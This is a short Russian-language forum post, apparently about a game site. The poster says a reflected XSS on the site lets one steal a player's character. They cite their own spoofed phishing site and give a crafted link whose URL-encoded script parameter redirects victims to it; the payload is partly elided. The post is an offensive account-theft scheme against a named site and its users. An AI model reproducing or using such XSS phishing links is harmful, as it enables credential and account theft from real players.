Да там пассивная xss. Вполне можно чара украсть =)
Вот пример - nev.h16.ru мой подставной сайт с url spoofing.
http://neverfate.ru/inf.php?name=%3C...72%69%70%74%3E - ссылка для редиректа на сайт.